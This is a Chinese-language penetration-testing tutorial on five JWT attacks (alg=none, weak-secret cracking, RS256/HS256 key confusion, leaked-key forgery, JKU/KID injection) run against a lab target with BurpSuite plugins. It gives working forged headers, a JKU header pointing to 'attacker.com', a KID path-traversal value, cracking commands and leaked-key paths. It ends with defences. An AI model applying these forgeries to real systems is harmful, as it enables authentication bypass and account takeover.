JWT 安全实战:5 种攻击手法复现与 BurpSuite 插件自动化利用

📅 2026/7/9 3:43:19 👁️ 阅读次数 📝 编程学习
JWT 安全实战:5 种攻击手法复现与 BurpSuite 插件自动化利用

JWT 安全实战:5 种攻击手法复现与 BurpSuite 插件自动化利用

JSON Web Token(JWT)作为现代Web应用广泛采用的身份验证机制,其安全性直接影响整个系统的防护等级。本文将深入剖析五种高危JWT攻击技术,并演示如何通过BurpSuite插件实现自动化漏洞利用,帮助安全工程师在渗透测试中高效识别风险。

1. 靶场环境搭建与JWT基础识别

在开始实战前,我们需要配置包含五种漏洞场景的Docker靶场。以下为快速部署命令:

docker pull vulnlab/jwt-lab:latest docker run -d -p 8080:80 --name jwt-lab vulnlab/jwt-lab

流量特征识别技巧

  • 典型的三段式结构由.分隔
  • Header和Payload部分通常以eyJ开头(Base64编码后的{"
  • 常见传输位置:
    • Authorization头部的Bearer令牌
    • Cookie中的authtoken字段
    • POST请求体的access_token参数

提示:安装BurpSuite插件"JSON Web Tokens"后,流量中JWT会自动高亮显示,并支持实时解码。

2. 空加密算法攻击(alg=none)

当服务器未严格校验签名算法时,将alg字段改为none可绕过验证。以下是完整攻击流程:

  1. 捕获含JWT的请求包,解码后得到类似结构:

    { "alg": "HS256", "typ": "JWT" }
  2. 修改Header为:

    { "alg": "none", "typ": "JWT" }
  3. 删除Signature部分,保留结尾的.
    最终格式:[新Header].[原Payload].

BurpSuite自动化操作

  1. 右键请求 → Extensions → JWT Editor → Attacks → None Algorithm
  2. 插件会自动完成算法替换和签名删除

3. 密钥爆破攻击(HS256弱密钥)

对称加密算法HS256依赖密钥强度。使用常见弱密钥字典进行爆破:

# 使用jwt_tool进行爆破示例 python3 jwt_tool.py eyJhbGciOiJIUzI1NiIs... -C -d /usr/share/wordlists/rockyou.txt

高效爆破技巧

  • 优先尝试CTF常见密钥:secret123456password
  • 结合网站信息推测密钥(如域名、公司名等)
  • 使用hashcat加速:
    hashcat -m 16500 -a 0 jwt.txt rockyou.txt

BurpSuite集成方案

  1. 安装"JWT4B"插件
  2. 配置字典路径后,右键选择"Brute Force Secret"
  3. 成功爆破后会自动生成有效令牌

4. 密钥混淆攻击(RS256→HS256)

当服务器使用RS256但未限制算法类型时,可强制使用HS256并利用公钥伪造签名:

步骤操作工具命令
1获取公钥/jwks.json或页面源码提取
2转换格式openssl rsa -pubin -in pub.key -text
3修改算法alg改为HS256
4重新签名使用公钥作为HS256密钥

BurpSuite一键操作

  1. 将公钥导入JWT Editor Keys
  2. 右键请求 → JWT Editor → Attacks → HS/RSA Key Confusion
  3. 修改Payload后自动用公钥签名

5. 私钥泄露利用(RS256私钥获取)

当源码或配置泄露私钥时,可直接签发任意令牌:

import jwt private_key = open('private.pem').read() token = jwt.encode({"user":"admin"}, private_key, algorithm="RS256")

自动化检测方案

  1. 使用Burp主动扫描检查.git泄露
  2. 对JS/CSS文件进行关键词搜索(如PRIVATE KEY
  3. 尝试常见路径:
    /v1/private.key /config/rsa_key /.env

6. JKU/KID注入攻击

利用头部参数注入恶意公钥:

JKU攻击流程

  1. 托管包含恶意公钥的JWK Set:
    { "keys": [{ "kty": "RSA", "e": "AQAB", "kid": "malicious", "n": "恶意公钥内容..." }] }
  2. 修改JWT头部:
    { "alg": "RS256", "typ": "JWT", "jku": "http://attacker.com/malicious_jwks.json" }

KID目录遍历攻击

{ "alg": "HS256", "typ": "JWT", "kid": "../../../../dev/null" }

7. BurpSuite全流程自动化

配置JWT攻击工作流:

  1. 探测阶段

    • 使用"JSON Web Tokens"插件自动识别JWT
    • "JWT4B"进行基础漏洞扫描
  2. 利用阶段

    graph TD A[发现JWT] --> B{算法检测} B -->|HS256| C[密钥爆破] B -->|RS256| D[检查公钥泄露] D --> E[尝试算法混淆] B -->|none允许| F[空算法攻击]
  3. 报告生成

    • 使用"Logger++"记录所有测试过程
    • "Report in HTML"生成详细漏洞报告

8. 防御方案与最佳实践

开发人员防护措施

  • 严格校验alg字段,禁用none
  • 使用强密钥(HS256至少32字节,RS2048+)
  • 定期轮换密钥
  • 添加令牌黑名单机制

安全检测清单

  1. [ ] 是否强制指定算法
  2. [ ] 签名是否有效验证
  3. [ ] 密钥是否足够复杂
  4. [ ] 敏感声明是否加密
  5. [ ]kid/jku是否受控

通过本文介绍的技术组合,安全团队可以系统性地检测JWT实现缺陷。建议在实际测试中优先使用自动化工具提高效率,但对关键业务仍需辅以手动验证确保覆盖所有攻击面。